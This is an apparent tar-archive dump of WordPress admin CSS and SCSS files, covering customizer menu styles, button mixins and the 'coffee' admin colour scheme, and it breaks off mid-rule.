overflow-y: auto; max-height: 200px; /* This gets set in JS to fit the screen size, and based on # of sections. */ background: transparent; } #available-menu-items .accordion-section-title button .toggle-indicator { display: flex; align-items: center; width: 28px; height: 35px; position: absolute; top: 5px; right: 5px; box-shadow: none; outline: none; cursor: pointer; text-align: center; } #available-menu-items .accordion-section-title .no-items, #available-menu-items .cannot-expand .accordion-section-title .spinner, #available-menu-items .cannot-expand .accordion-section-title > button:not(#available-menu-items-search button.is-visible) { display: none; } #available-menu-items-search.cannot-expand .accordion-section-title .spinner { display: block; } #available-menu-items .cannot-expand .accordion-section-title .no-items { float: right; color: #50575e; font-weight: 400; margin-left: 5px; } #available-menu-items .accordion-section-content { max-height: 290px; margin: 0; padding: 0; position: relative; background: transparent; } #available-menu-items .accordion-section-content .available-menu-items-list { margin: 0 0 64px; padding: 1px 15px 15px; } #available-menu-items .accordion-section-content .available-menu-items-list:only-child { /* Types that do not support new items for the current user */ margin-bottom: 0; } #new-custom-menu-item .accordion-section-content { padding: 0 15px 15px; } #available-menu-items .menu-item-tpl { margin: 0; } #custom-menu-item-name.invalid, #custom-menu-item-url.invalid, .edit-menu-item-url.invalid, .menu-name-field.invalid, .menu-name-field.invalid:focus, #available-menu-items .new-content-item .create-item-input.invalid, #available-menu-items .new-content-item .create-item-input.invalid:focus { border: 1px solid #d63638; } #available-menu-items .menu-item-handle .item-type { padding-right: 0; } #available-menu-items .menu-item-handle .item-title { padding-left: 20px; } #available-menu-items .menu-item-handle { cursor: pointer; } #available-menu-items .menu-item-handle { box-shadow: none; margin-top: -1px; } #available-menu-items .menu-item-handle:hover { z-index: 1; } #available-menu-items .item-title h4 { padding: 0 0 5px; font-size: 14px; } #available-menu-items .item-add { position: absolute; top: 1px; left: 1px; color: #8c8f94; width: 30px; height: 38px; box-shadow: none; outline: none; cursor: pointer; text-align: center; } #available-menu-items .menu-item-handle .item-add:focus { color: #1d2327; } #available-menu-items .item-add:before { content: "\f543"; content: "\f543" / ''; position: relative; left: 2px; top: 3px; display: inline-block; height: 20px; border-radius: 50%; font: normal 20px/1.05 dashicons; /* line height is to account for the dashicon's vertical alignment */ } #available-menu-items .menu-item-handle.item-added .item-type, #available-menu-items .menu-item-handle.item-added .item-title, #available-menu-items .menu-item-handle.item-added:hover .item-add, #available-menu-items .menu-item-handle.item-added .item-add:focus { color: #646970; } #available-menu-items .menu-item-handle.item-added .item-add:before { content: "\f147"; content: "\f147" / ''; } #available-menu-items .accordion-section-title.loading .spinner, #available-menu-items-search.loading .accordion-section-title .spinner { visibility: visible; margin: 0 20px; } #available-menu-items-search .spinner { position: absolute; bottom: 24px; /* 13 container padding +1 input margin +10 ( ( 40 input height - 20 spinner height ) / 2 ) */ right: 21px; margin: 0 !important; } /* search results list */ #available-menu-items #available-menu-items-search .accordion-section-content { position: absolute; left: 0; top: 83px; /* below title div / search input (75 + 8 for 40px input) */ bottom: 0; /* 100% height that still triggers lazy load */ max-height: none; width: 100%; padding: 1px 15px 15px; box-sizing: border-box; } #available-menu-items-search .nothing-found { /* Compensate the 1px top padding of the container. */ margin-top: -1px; } #available-menu-items-search .accordion-section-title:after { display: none; } #available-menu-items-search .accordion-section-content:empty { min-height: 0; padding: 0; } #available-menu-items-search.loading .accordion-section-content div { opacity: .5; } #available-menu-items-search.loading.loading-more .accordion-section-content div { opacity: 1; } @media (prefers-reduced-motion: no-preference) { #customize-preview { transition: all 0.2s; } } body.adding-menu-items #available-menu-items { left: 0; visibility: visible; } body.adding-menu-items .wp-full-overlay-main { left: 300px; } body.adding-menu-items #customize-preview { opacity: 0.4; } body.adding-menu-items #customize-preview iframe { pointer-events: none; } .menu-item-handle .spinner { display: none; float: left; margin: 0 8px 0 0; } .nav-menu-inserted-item-loading .spinner { display: block; } .nav-menu-inserted-item-loading .menu-item-handle .item-type { padding: 0 0 0 8px; } .nav-menu-inserted-item-loading .menu-item-handle, .added-menu-item .menu-item-handle.loading { padding: 10px 15px 10px 8px; cursor: default; opacity: .5; background: #fff; color: #787c82; } .added-menu-item .menu-item-handle { transition-property: opacity, background, color; transition-duration: 1.25s; transition-timing-function: cubic-bezier( .25, -2.5, .75, 8 ); /* Replacement for .hide().fadeIn('slow') in JS to add emphasis when it's loaded. */ } /* Add/delete Menus */ #customize-theme-controls .control-panel-content .control-section-nav_menu:nth-last-child(2) .accordion-section-title { border-bottom-color: #dcdcde; } /* @todo update selector */ #accordion-section-add_menu { margin: 15px 12px; } #accordion-section-add_menu h3 { text-align: right; } #accordion-section-add_menu h3, #accordion-section-add_menu .customize-add-menu-button { margin: 0; } #accordion-section-add_menu .customize-add-menu-button { font-weight: 400; } #create-new-menu-submit { float: right; margin: 0 0 12px; } .menu-delete-item { float: left; padding: 1em 0; width: 100%; } .assigned-menu-locations-title p { margin: 0 0 8px; } li.assigned-to-menu-location .menu-delete-item { display: none; } li.assigned-to-menu-location .add-new-menu-item { margin-bottom: 1em; } .menu-item-handle { margin-top: -1px; } .ui-sortable-disabled .menu-item-handle { cursor: default; } .menu-item-handle:hover { position: relative; z-index: 10; color: var(--wp-admin-theme-color); } .menu-item-handle:hover .item-type, .menu-item-handle:hover .item-edit, #available-menu-items .menu-item-handle:hover .item-add { color: var(--wp-admin-theme-color); } .menu-item-edit-active .menu-item-handle { border-color: #8c8f94; border-bottom: none; } .customize-control-nav_menu_item { margin-bottom: 0; } .customize-control-nav_menu .new-menu-item-invitation { margin-top: 0; margin-bottom: 0; } .customize-control-nav_menu .customize-control-nav_menu-buttons { display: flex; flex-direction: row-reverse; align-items: center; gap: 8px; margin-top: 12px; } /** * box-shadows */ .wp-customizer .menu-item .submitbox .submitdelete:focus, .customize-screen-options-toggle:focus:before, #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-customizer button:focus .toggle-indicator:before, .menu-delete:focus, .menu-item-bar .item-delete:focus:before, #available-menu-items .item-add:focus:before { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } @media screen and (max-width: 782px) { #available-menu-items #available-menu-items-search .accordion-section-content { top: 71px; /* 63 + 8 for 40px input */ } } @media screen and (max-width: 640px) { #available-menu-items #available-menu-items-search .accordion-section-content { top: 154px; /* 146 + 8 for 40px input */ } } css/colors/_mixins.scss 0000644 00000006223 15233246127 0011210 0 ustar 00 @use 'sass:color'; @use 'tokens'; /* * Button mixin - creates a primary button effect. * Uses CSS custom properties for theme color support across color schemes. */ @mixin button( $button-text-color: #fff ) { background: var(--wp-admin-theme-color); border-color: transparent; border-radius: tokens.$radius-s; color: $button-text-color; &:hover { background: var(--wp-admin-theme-color-darker-10); border-color: transparent; color: $button-text-color; } &:focus { background: var(--wp-admin-theme-color); border-color: transparent; color: $button-text-color; /* Gutenberg-style focus ring: outer theme color + inset white for contrast */ box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color), inset 0 0 0 1px tokens.$white; /* Visible in Windows High Contrast mode */ outline: 1px solid transparent; } &:active { background: var(--wp-admin-theme-color-darker-20); border-color: transparent; color: $button-text-color; } &:disabled, &.disabled { background: tokens.$gray-100; border-color: transparent; color: tokens.$gray-600; cursor: not-allowed; } &.active, &.active:focus, &.active:hover { background: var(--wp-admin-theme-color-darker-10); color: $button-text-color; border-color: transparent; box-shadow: none; } } /* * Secondary button mixin - outlined style with theme color. * Matches Gutenberg's .is-secondary button variant. */ @mixin button-secondary() { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: tokens.$radius-s; color: var(--wp-admin-theme-color); &:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } &:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } &:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } &:disabled, &.disabled { background: transparent; border-color: tokens.$gray-300; color: tokens.$gray-600; cursor: not-allowed; } } /* * Tertiary button mixin - transparent background, gray text. */ @mixin button-tertiary() { background: transparent; border: 1px solid tokens.$gray-600; border-radius: tokens.$radius-s; color: tokens.$gray-900; &:hover { background: rgba(0, 0, 0, 0.05); border-color: tokens.$gray-700; color: tokens.$gray-900; } &:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: tokens.$gray-900; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } &:active { background: rgba(0, 0, 0, 0.1); border-color: tokens.$gray-700; color: tokens.$gray-900; } &:disabled, &.disabled { background: transparent; border-color: tokens.$gray-400; color: tokens.$gray-600; cursor: not-allowed; } } css/colors/assets/2023/assets/archive/v2/oez/nwiah/admin.php 0000644 00000000000 15233246127 0017476 0 ustar 00 css/colors/coffee/colors-rtl.css 0000644 00000061453 15233246127 0012714 0 ustar 00 /*! This file is auto-generated */ /* * Button mixin - creates a primary button effect. * Uses CSS custom properties for theme color support across color schemes. */ /* * Secondary button mixin - outlined style with theme color. * Matches Gutenberg's .is-secondary button variant. */ /* * Tertiary button mixin - transparent background, gray text. */ /** * This function name uses British English to maintain backward compatibility, as developers * may use the function in their own admin CSS files. See #56811. */ body { background: #f0f0f0; } /* Links */ a { color: #0073aa; } a:hover, a:active, a:focus { color: rgb(0, 149.5, 221); } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-revisions:before, span.wp-media-buttons-icon:before { color: currentColor; } /* Link button - appears as text link, no border or background */ /* Matches Gutenberg's .is-link button variant */ .wp-core-ui .button-link, .wp-core-ui .button.button-link { color: var(--wp-admin-theme-color); } .wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button.button-link:hover, .wp-core-ui .button.button-link:active { color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-link:focus, .wp-core-ui .button.button-link:focus { color: var(--wp-admin-theme-color); border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-link:disabled, .wp-core-ui .button-link[aria-disabled=true], .wp-core-ui .button.button-link:disabled, .wp-core-ui .button.button-link[aria-disabled=true] { color: #949494; } .media-modal .delete-attachment, .media-modal .trash-attachment, .media-modal .untrash-attachment, .wp-core-ui .button-link-delete { color: #cc1818; } .media-modal .delete-attachment:hover, .media-modal .trash-attachment:hover, .media-modal .untrash-attachment:hover, .media-modal .delete-attachment:focus, .media-modal .trash-attachment:focus, .media-modal .untrash-attachment:focus, .wp-core-ui .button-link-delete:hover, .wp-core-ui .button-link-delete:focus { color: rgb(230.6842105263, 48.3157894737, 48.3157894737); } /* Forms */ input[type=checkbox]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } input[type=radio]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } .wp-core-ui input[type=reset]:hover, .wp-core-ui input[type=reset]:active { color: rgb(0, 149.5, 221); } input[type=text]:focus, input[type=password]:focus, input[type=color]:focus, input[type=date]:focus, input[type=datetime]:focus, input[type=datetime-local]:focus, input[type=email]:focus, input[type=month]:focus, input[type=number]:focus, input[type=search]:focus, input[type=tel]:focus, input[type=time]:focus, input[type=url]:focus, input[type=week]:focus, select:focus, textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } input[type=checkbox]:focus, input[type=radio]:focus { border-color: #1e1e1e; box-shadow: 0 0 0 2px #ffffff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .wp-core-ui select:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .wp-tags-autocomplete .ui-state-focus, .wp-tags-autocomplete [aria-selected=true] { background-color: var(--wp-admin-theme-color); } #pass1:focus, #pass1-text:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .mailserver-pass-wrap .button.wp-hide-pw:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } /* Core UI */ .wp-core-ui { /* Default button - theme color border and text (matches secondary) */ } .wp-core-ui .button { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button:disabled, .wp-core-ui .button.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Secondary button - same as default */ } .wp-core-ui .button-secondary { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button-secondary:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-secondary:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-secondary:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button-secondary:disabled, .wp-core-ui .button-secondary.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Primary button - theme color background */ } .wp-core-ui .button-primary { background: var(--wp-admin-theme-color); border-color: transparent; border-radius: 2px; color: #fff; } .wp-core-ui .button-primary:hover { background: var(--wp-admin-theme-color-darker-10); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:focus { background: var(--wp-admin-theme-color); border-color: transparent; color: #fff; /* Gutenberg-style focus ring: outer theme color + inset white for contrast */ box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color), inset 0 0 0 1px #ffffff; /* Visible in Windows High Contrast mode */ outline: 1px solid transparent; } .wp-core-ui .button-primary:active { background: var(--wp-admin-theme-color-darker-20); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary.disabled { background: #f0f0f0; border-color: transparent; color: #949494; cursor: not-allowed; } .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover { background: var(--wp-admin-theme-color-darker-10); color: #fff; border-color: transparent; box-shadow: none; } .wp-core-ui .button-group > .button.active { border-color: var(--wp-admin-theme-color); background: rgba(var(--wp-admin-theme-color--rgb), 0.08); } .wp-core-ui .wp-ui-primary { color: #fff; background-color: #59524c; } .wp-core-ui .wp-ui-text-primary { color: #59524c; } .wp-core-ui .wp-ui-highlight { color: #fff; background-color: #c7a589; } .wp-core-ui .wp-ui-text-highlight { color: #c7a589; } .wp-core-ui .wp-ui-notification { color: #fff; background-color: #9ea476; } .wp-core-ui .wp-ui-text-notification { color: #9ea476; } .wp-core-ui .wp-ui-text-icon { color: hsl(27.6923076923, 7%, 95%); } /* List tables */ .wrap .page-title-action { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wrap .page-title-action:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wrap .page-title-action:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wrap .page-title-action:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .view-switch a.current:before { color: #59524c; } .view-switch a:hover:before { color: #9ea476; } /* Admin Menu */ #adminmenuback, #adminmenuwrap, #adminmenu { background: #59524c; } #adminmenu a { color: #fff; } #adminmenu div.wp-menu-image:before { color: hsl(27.6923076923, 7%, 95%); } #adminmenu a:hover, #adminmenu li.menu-top:hover, #adminmenu li.opensub > a.menu-top, #adminmenu li > a.menu-top:focus { color: #fff; background-color: #c7a589; } #adminmenu li.menu-top:hover div.wp-menu-image:before, #adminmenu li.opensub > a.menu-top div.wp-menu-image:before { color: #fff; } /* Active tabs use a bottom border color that matches the page background color. */ .about-wrap .nav-tab-active, .nav-tab-active, .nav-tab-active:hover { background-color: #f0f0f0; border-bottom-color: #f0f0f0; } /* Admin Menu: submenu */ #adminmenu .wp-submenu, #adminmenu .wp-has-current-submenu .wp-submenu, #adminmenu .wp-has-current-submenu.opensub .wp-submenu, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu { background: rgb(69.7436363636, 64.2581818182, 59.5563636364); } #adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-left-color: rgb(69.7436363636, 64.2581818182, 59.5563636364); } #adminmenu .wp-submenu .wp-submenu-head { color: rgb(205.2, 203.1, 201.3); } #adminmenu .wp-submenu a, #adminmenu .wp-has-current-submenu .wp-submenu a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a { color: rgb(205.2, 203.1, 201.3); } #adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover, #adminmenu .wp-has-current-submenu .wp-submenu a:focus, #adminmenu .wp-has-current-submenu .wp-submenu a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover { color: #c7a589; } /* Admin Menu: current */ #adminmenu .wp-submenu li.current a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a { color: #fff; } #adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus { color: #c7a589; } ul#adminmenu a.wp-has-current-submenu:after, ul#adminmenu > li.current > a.current:after { border-left-color: #f0f0f0; } #adminmenu li.current a.menu-top, #adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, #adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head, .folded #adminmenu li.current.menu-top { color: #fff; background: #c7a589; } #adminmenu li.wp-has-current-submenu div.wp-menu-image:before, #adminmenu a.current:hover div.wp-menu-image:before, #adminmenu li.current div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before, #adminmenu li:hover div.wp-menu-image:before, #adminmenu li a:focus div.wp-menu-image:before, #adminmenu li.opensub div.wp-menu-image:before { color: #fff; } /* Admin Menu: bubble */ #adminmenu .menu-counter, #adminmenu .awaiting-mod, #adminmenu .update-plugins { color: #fff; background: #9ea476; } #adminmenu li.current a .awaiting-mod, #adminmenu li a.wp-has-current-submenu .update-plugins, #adminmenu li:hover a .awaiting-mod, #adminmenu li.menu-top:hover > a .update-plugins { color: #fff; background: rgb(69.7436363636, 64.2581818182, 59.5563636364); } /* Admin Menu: collapse button */ #collapse-button { color: hsl(27.6923076923, 7%, 95%); } #collapse-button:hover, #collapse-button:focus { color: #c7a589; } /* Admin Bar */ #wpadminbar { color: #fff; background: #59524c; } #wpadminbar .ab-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: #fff; } #wpadminbar .ab-icon, #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar .ab-item:after { color: hsl(27.6923076923, 7%, 95%); } #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item, #wpadminbar .ab-top-menu > li.menupop.hover > .ab-item { color: #c7a589; background: rgb(69.7436363636, 64.2581818182, 59.5563636364); } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: #c7a589; } #wpadminbar:not(.mobile) li:hover .ab-icon:before, #wpadminbar:not(.mobile) li:hover .ab-item:before, #wpadminbar:not(.mobile) li:hover .ab-item:after, #wpadminbar:not(.mobile) li:hover #adminbarsearch:before { color: #c7a589; } /* Admin Bar: submenu */ #wpadminbar .menupop .ab-sub-wrapper { background: rgb(69.7436363636, 64.2581818182, 59.5563636364); } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, #wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: rgb(101.2318636364, 100.2821643357, 99.4681363636); } #wpadminbar .ab-submenu .ab-item, #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: rgb(205.2, 203.1, 201.3); } #wpadminbar .quicklinks li .blavatar, #wpadminbar .menupop .menupop > .ab-item:before { color: hsl(27.6923076923, 7%, 95%); } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, #wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover .ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: #c7a589; } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar, #wpadminbar .menupop .menupop > .ab-item:hover:before, #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: #c7a589; } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: hsl(27.6923076923, 7%, 95%); } /* Admin Bar: search */ #wpadminbar #adminbarsearch:before { color: hsl(27.6923076923, 7%, 95%); } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { color: #fff; background: rgb(108.2563636364, 99.7418181818, 92.4436363636); } /* Admin Bar: recovery mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: #fff; background-color: #9ea476; } #wpadminbar #wp-admin-bar-recovery-mode .ab-item, #wpadminbar #wp-admin-bar-recovery-mode a.ab-item { color: #fff; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: #fff; background-color: rgb(142.2, 147.6, 106.2); } /* Admin Bar: my account */ #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { border-color: rgb(108.2563636364, 99.7418181818, 92.4436363636); background-color: rgb(108.2563636364, 99.7418181818, 92.4436363636); } #wpadminbar #wp-admin-bar-user-info .display-name { color: #fff; } #wpadminbar #wp-admin-bar-user-info a:hover .display-name { color: #c7a589; } #wpadminbar #wp-admin-bar-user-info .username { color: rgb(205.2, 203.1, 201.3); } /* Pointers */ .wp-pointer .wp-pointer-content h3 { background-color: #c7a589; border-color: rgb(190.7931034483, 151.8103448276, 119.7068965517); } .wp-pointer .wp-pointer-content h3:before { color: #c7a589; } .wp-pointer.wp-pointer-top .wp-pointer-arrow, .wp-pointer.wp-pointer-top .wp-pointer-arrow-inner, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner { border-bottom-color: #c7a589; } /* Media */ .media-item .bar, .media-progress-bar div { background-color: #c7a589; } .details.attachment { box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #c7a589; } .attachment.details .check { background-color: #c7a589; box-shadow: 0 0 0 1px #fff, 0 0 0 2px #c7a589; } .media-selection .attachment.selection.details .thumbnail { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #c7a589; } /* Themes */ .theme-browser .theme.active .theme-name, .theme-browser .theme.add-new-theme a:hover:after, .theme-browser .theme.add-new-theme a:focus:after { background: #c7a589; } .theme-browser .theme.add-new-theme a:hover span:after, .theme-browser .theme.add-new-theme a:focus span:after { color: #c7a589; } .theme-section.current, .theme-filter.current { border-bottom-color: #59524c; } body.more-filters-opened .more-filters { color: #fff; background-color: #59524c; } body.more-filters-opened .more-filters:before { color: #fff; } body.more-filters-opened .more-filters:hover, body.more-filters-opened .more-filters:focus { background-color: #c7a589; color: #fff; } body.more-filters-opened .more-filters:hover:before, body.more-filters-opened .more-filters:focus:before { color: #fff; } /* Widgets */ .widgets-chooser li.widgets-chooser-selected { background-color: #c7a589; color: #fff; } .widgets-chooser li.widgets-chooser-selected:before, .widgets-chooser li.widgets-chooser-selected:focus:before { color: #fff; } /* Nav Menus */ .nav-menus-php .item-edit:focus:before { box-shadow: 0 0 0 1px rgb(215.4137931034, 191.3793103448, 171.5862068966), 0 0 2px 1px #c7a589; } /* Responsive Component */ div#wp-responsive-toggle a:before { color: hsl(27.6923076923, 7%, 95%); } .wp-responsive-open div#wp-responsive-toggle a { border-color: transparent; background: #c7a589; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a { background: rgb(69.7436363636, 64.2581818182, 59.5563636364); } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { color: hsl(27.6923076923, 7%, 95%); } /* TinyMCE */ .mce-container.mce-menu .mce-menu-item:hover, .mce-container.mce-menu .mce-menu-item.mce-selected, .mce-container.mce-menu .mce-menu-item:focus, .mce-container.mce-menu .mce-menu-item-normal.mce-active, .mce-container.mce-menu .mce-menu-item-preview.mce-active { background: #c7a589; } /* Customizer */ .wp-core-ui #customize-controls .control-section:hover > .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:hover, .wp-core-ui #customize-controls .control-section.open .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:focus { color: #0073aa; border-right-color: #c7a589; } .wp-core-ui .customize-controls-close:focus, .wp-core-ui .customize-controls-close:hover, .wp-core-ui .customize-controls-preview-toggle:focus, .wp-core-ui .customize-controls-preview-toggle:hover { color: #0073aa; border-top-color: #c7a589; } .wp-core-ui .customize-panel-back:hover, .wp-core-ui .customize-panel-back:focus, .wp-core-ui .customize-section-back:hover, .wp-core-ui .customize-section-back:focus { color: #0073aa; border-right-color: #c7a589; } .wp-core-ui .customize-screen-options-toggle:hover, .wp-core-ui .customize-screen-options-toggle:active, .wp-core-ui .customize-screen-options-toggle:focus, .wp-core-ui .active-menu-screen-options .customize-screen-options-toggle, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus { color: #0073aa; } .wp-core-ui .customize-screen-options-toggle:focus:before, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before, .wp-core-ui .menu-item-bar .item-delete:focus:before, .wp-core-ui #available-menu-items .item-add:focus:before, .wp-core-ui #customize-save-button-wrapper .save:focus, .wp-core-ui #publish-settings:focus { box-shadow: 0 0 0 1px rgb(215.4137931034, 191.3793103448, 171.5862068966), 0 0 2px 1px 